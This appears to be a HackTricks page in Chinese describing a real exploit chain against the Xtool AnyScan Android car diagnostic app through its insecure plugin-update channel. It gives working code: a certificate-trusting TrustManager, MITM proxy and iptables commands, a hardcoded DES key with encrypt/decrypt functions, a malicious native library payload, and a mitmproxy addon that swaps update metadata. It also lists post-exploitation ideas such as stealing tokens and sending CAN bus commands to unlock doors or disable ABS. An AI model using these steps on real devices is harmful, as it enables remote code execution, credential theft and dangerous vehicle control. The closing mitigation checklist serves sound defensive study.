不安全的应用内更新机制 – 通过恶意插件进行远程代码执行
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
许多Android应用程序实现了自己的“插件”或“动态特性”更新通道,而不是使用Google Play商店。当实现不安全时,能够拦截流量的攻击者可以提供任意本地代码,该代码将在应用程序进程中加载,导致手机上的完全远程代码执行(RCE)——在某些情况下,还可以在应用控制的任何外部设备上执行(汽车、物联网、医疗设备等)。
本页面总结了在Xtool AnyScan 汽车诊断应用程序(v4.40.11 → 4.40.40)中发现的真实漏洞链,并将该技术进行概括,以便您可以审核其他Android应用程序并在红队参与期间利用该错误配置。
1. 识别不安全的TLS TrustManager
- 使用jadx / apktool反编译APK并定位网络堆栈(OkHttp、HttpUrlConnection、Retrofit等)。
- 寻找一个**自定义的
TrustManager
**或HostnameVerifier
,该组件盲目信任每个证书:
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
- 如果存在,应用程序将接受 任何 TLS 证书 → 你可以使用自签名证书运行一个透明的 MITM 代理:
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
2. 反向工程更新元数据
在 AnyScan 的案例中,每次应用启动都会触发一个 HTTPS GET 请求到:
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
响应体是一个 XML 文档,其 <FileData>
节点包含 Base64 编码的,DES-ECB 加密的 JSON,描述每个可用插件。
典型的搜索步骤:
- 定位加密例程(例如
RemoteServiceProxy
)并恢复:
- 算法(DES / AES / RC4 …)
- 操作模式(ECB / CBC / GCM …)
- 硬编码的密钥 / IV(通常是常量中的 56 位 DES 密钥或 128 位 AES 密钥)
- 在 Python 中重新实现该函数以解密 / 加密元数据:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
3. 制作恶意插件
- 选择任何合法的插件 ZIP,并用你的有效载荷替换本地库:
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
- 更新 JSON 元数据,使得
"FileName" : "PWNED.zip"
和"DownloadURL"
指向你的 HTTP 服务器。 - 对修改后的 JSON 进行 DES 加密 + Base64 编码,并将其复制回拦截的 XML 中。
4. 使用 mitmproxy 发送有效载荷
addon.py
示例,静默 交换原始元数据:
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
运行一个简单的网络服务器来托管恶意 ZIP:
python3 -m http.server 8000 --directory ./payloads
当受害者启动应用程序时,它将:
- 通过MITM通道获取我们伪造的XML;
- 使用硬编码的DES密钥解密和解析它;
- 下载
PWNED.zip
→ 在私有存储中解压; dlopen()
包含的libscan_x64.so,立即以应用程序的权限执行我们的代码(相机、GPS、蓝牙、文件系统等)。
由于插件缓存于磁盘,后门在重启后仍然存在,并在用户每次选择相关功能时运行。
5. 后期利用想法
- 偷取应用程序存储的会话cookie、OAuth令牌或JWT。
- 投放第二阶段APK并通过
pm install
静默安装(应用程序已经具有REQUEST_INSTALL_PACKAGES
)。 - 滥用任何连接的硬件 – 在AnyScan场景中,您可以发送任意OBD-II / CAN总线命令(解锁车门、禁用ABS等)。
检测与缓解清单(蓝队)
- 永远不要使用自定义TrustManager/HostnameVerifier禁用证书验证来发布生产版本。
- 不要从Google Play以外下载可执行代码。如果您必须,请使用相同的apkSigning v2密钥签署每个插件,并在加载之前验证签名。
- 用AES-GCM和服务器端轮换密钥替换弱/硬编码的加密。
- 验证下载归档的完整性(签名或至少SHA-256)。
参考文献
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。